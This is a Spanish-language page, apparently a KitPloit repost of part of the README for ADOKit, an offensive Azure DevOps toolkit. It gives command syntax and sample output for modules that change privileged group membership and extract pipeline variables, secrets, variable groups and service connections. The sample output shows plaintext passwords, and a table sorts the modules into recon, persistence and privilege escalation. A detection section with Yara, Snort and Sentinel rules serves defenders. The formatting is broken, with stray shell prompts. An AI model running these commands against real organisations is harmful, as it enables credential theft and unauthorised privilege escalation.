root@kitploit:~
### Eliminar cuenta de servicio de compilación de colección

#### Caso de uso

> *Eliminar un usuario del grupo Project Collection Build Service Accounts.*

#### Sintaxis

Proporcione el módulo `removecollectionbuildsvc` junto con un `/user:` para un usuario determinado que se eliminará del grupo `Project Collection Build Service Accounts`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de detalles del módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Ejemplo de salida```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

Agregar cuenta de servicio de colección

Caso de uso

Agregar un usuario al grupo Project Collection Service Accounts.

Sintaxis

Proporcione el módulo addcollectionsvc junto con un /user: para que un usuario determinado sea agregado al grupo Project Collection Service Accounts. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte Tabla de detalles del módulo para conocer los permisos necesarios para realizar esta acción.

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Salida de ejemplo```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### Eliminar cuenta de servicio de colección

#### Caso de uso

> *Eliminar un usuario del grupo Project Collection Service Accounts.*

#### Sintaxis

Proporcione el módulo `removecollectionsvc` junto con un `/user:` para un usuario específico que se eliminará del grupo `Project Collection Service Accounts`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte [Module Details Table](#module-details-table) para conocer los permisos necesarios para realizar esta acción.

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Ejemplo de salida```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

Obtener Variables de Pipeline

Caso de Uso

Extraer cualquier variable de pipeline que se esté utilizando en uno o varios proyectos, que podría contener credenciales u otra información útil.

Sintaxis

Proporcione el módulo getpipelinevars junto con un /project: para un proyecto dado a fin de extraer cualquier variable de pipeline que se esté utilizando. Si desea extraer variables de pipeline de todos los proyectos, especifique all en el argumento /project:.

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Ejemplo de Salida```

C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Pipeline Var Name |                                 Pipeline Var Value

root@kitploit:~
                credential |                                       P@ssw0rd123!
                       url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

root@kitploit:~
### Obtener Secretos de Pipeline

#### Caso de Uso

> *Extrae los nombres de cualquier secreto de pipeline que se esté utilizando en uno o varios proyectos, lo que indicará al operador dónde intentar realizar la extracción de secretos.*

#### Sintaxis

Proporcione el módulo `getpipelinesecrets` junto con un argumento `/project:` para un proyecto específico y extraer los nombres de los secretos de pipeline que se estén utilizando. Si desea extraer los nombres de los secretos de pipeline de todos los proyectos, especifique `all` en el argumento `/project:`.

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Ejemplo de Salida```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinesecrets
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Build Secret Name |   Build Secret Value
-----------------------------------------------------
             anotherSecretPass |             [HIDDEN]
                    secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

Obtener Grupos de Variables

Caso de Uso

Extraer cualquier grupo de variables y las variables correspondientes que se están utilizando en uno o varios proyectos, que podrían contener credenciales u otra información útil.

Sintaxis

Proporcione el módulo getvariablegroups junto con un /project: para un proyecto determinado a fin de extraer cualquier grupo de variables que se esté utilizando. Si desea extraer grupos de variables de todos los proyectos, especifique all en el argumento /project:.

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Salida de Ejemplo```

C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization

Timestamp: 16/05/2024 16:53:31

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
       Variable Group Name |                  Variable Name |                                     Variable Value

root@kitploit:~
       real-test-variables |                  test_password |                                      BurpIsNotBeef
       real-test-variables |                      test_user |                                            nicolas
       fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
       fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/
root@kitploit:~
### Obtener Conexiones de Servicio

#### Caso de Uso

> *Lista cualquier conexión de servicio que se esté utilizando en uno o más proyectos, lo que dirigirá al operador a dónde intentar realizar la extracción de credenciales para cualquier conexión de servicio en uso.*

#### Sintaxis

Proporcione el módulo `getserviceconnections` junto con un `/project:` para un proyecto dado, para listar cualquier conexión de servicio en uso. Si desea listar conexiones de servicio utilizadas desde todos los proyectos, especifique `all` en el argumento `/project:`.

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Ejemplo de Salida```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getserviceconnections
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/11/2023 8:34:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                             Connection Name |      Connection Type |                                                           ID
--------------------------------------------------------------------------------------------------------------------------------------------------
                                        Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                         Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac
  Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

Detección

A continuación se muestran firmas estáticas para el uso específico de esta herramienta en su estado predeterminado:

  • GUID del proyecto - {60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
    • Consulte la Regla Yara de ADOKit en este repositorio.
  • Cadena User-Agent - ADOKit-21e233d4334f9703d1a3a42b6e2efd38
    • Consulte la Regla Snort de ADOKit en este repositorio.
  • Microsoft Sentinel Rules
    • ADOKitUsage.json - Detecta el uso de ADOKit con cualquier evento auditable (por ejemplo, agregar un usuario a un grupo)
    • PersistenceTechniqueWithADOKit.json - Detecta la creación de una PAT o clave SSH con ADOKit

Para obtener orientación sobre la detección de las técnicas utilizadas por la herramienta, consulte el documento técnico de X-Force Red.

Hoja de ruta

  • Compatibilidad con Azure DevOps Server

Referencias

  • https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1
  • https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops
Descargar herramienta
  • Remove Collection Service Account
  • Get Pipeline Variables
  • Get Pipeline Secrets
  • Get Variable Groups
  • Get Service Connections
    • createpat - Crea un token de acceso personal para el usuario
    • listpat - Lista los tokens de acceso personal del usuario
    • removepat - Elimina el token de acceso personal del usuario
    • createsshkey - Crea una clave SSH pública para el usuario
    • listsshkey - Lista las claves SSH públicas del usuario
    • removesshkey - Elimina la clave SSH pública del usuario
  • Privilege Escalation
    • addprojectadmin - Agrega un usuario al grupo "Project Administrators" para un proyecto específico
    • removeprojectadmin - Elimina un usuario del grupo "Project Administrators" para un proyecto específico
    • addbuildadmin - Agrega un usuario al grupo "Build Administrators" para un proyecto específico
    • removebuildadmin - Elimina un usuario del grupo "Build Administrators" para un proyecto específico
    • addcollectionadmin - Agrega un usuario al grupo "Project Collection Administrators"
    • removecollectionadmin - Elimina un usuario del grupo "Project Collection Administrators"
    • addcollectionbuildadmin - Agrega un usuario al grupo "Project Collection Build Administrators"
    • removecollectionbuildadmin - Elimina un usuario del grupo "Project Collection Build Administrators"
    • addcollectionbuildsvc - Agrega un usuario al grupo "Project Collection Build Service Accounts"
    • removecollectionbuildsvc - Elimina un usuario del grupo "Project Collection Build Service Accounts"
    • addcollectionsvc - Agrega un usuario al grupo "Project Collection Service Accounts"
    • removecollectionsvc - Elimina un usuario del grupo "Project Collection Service Accounts"
    • getpipelinevars - Recupera las variables de canalización utilizadas en un proyecto específico.
    • getpipelinesecrets - Recupera los nombres de los secretos de canalización utilizados en un proyecto específico.
    • getvariablegroups - Recupera los grupos de variables y las variables correspondientes utilizadas en un proyecto específico.
    • getserviceconnections - Recupera las conexiones de servicio utilizadas en un proyecto específico.
  • Attack ScenarioModuleSpecial Permissions?Notes
    ReconcheckNo
    ReconwhoamiNo
    ReconlistorgsNo
    ReconlistrepoNo
    ReconsearchrepoNo
    ReconlistprojectNo
    ReconsearchprojectNo
    ReconsearchcodeNo
    ReconsearchfileNo
    ReconlistuserNo
    ReconsearchuserNo
    ReconlistteamNo
    ReconsearchteamNo
    RecongetteammembersNo
    ReconlistgroupNo
    ReconsearchgroupNo
    RecongetgroupmembersNo
    RecongetpermissionsNo
    ReconcredsNo
    RecongetbuildlogsSí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    ReconlistbuildlogsSí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    ReconsearchbuildlogsSí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    PersistencecreatepatNo
    PersistencelistpatNo
    PersistenceremovepatNo
    PersistencecreatesshkeyNo
    PersistencelistsshkeyNo
    PersistenceremovesshkeyNo
    Privilege EscalationaddprojectadminSí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationremoveprojectadminSí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationaddbuildadminSí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationremovebuildadminSí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationaddcollectionadminSí - Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationremovecollectionadminSí - Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationaddcollectionbuildadminSí - Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationremovecollectionbuildadminSí - Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationaddcollectionbuildsvcSí - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts
    Privilege EscalationremovecollectionbuildsvcSí - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts
    Privilege EscalationaddcollectionsvcSí - Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationremovecollectionsvcSí - Project Collection Administrator o Project Collection Service Accounts
    Privilege EscalationgetpipelinevarsSí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    Privilege EscalationgetpipelinesecretsSí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    Privilege EscalationgetvariablegroupsSí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    Privilege EscalationgetserviceconnectionsSí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts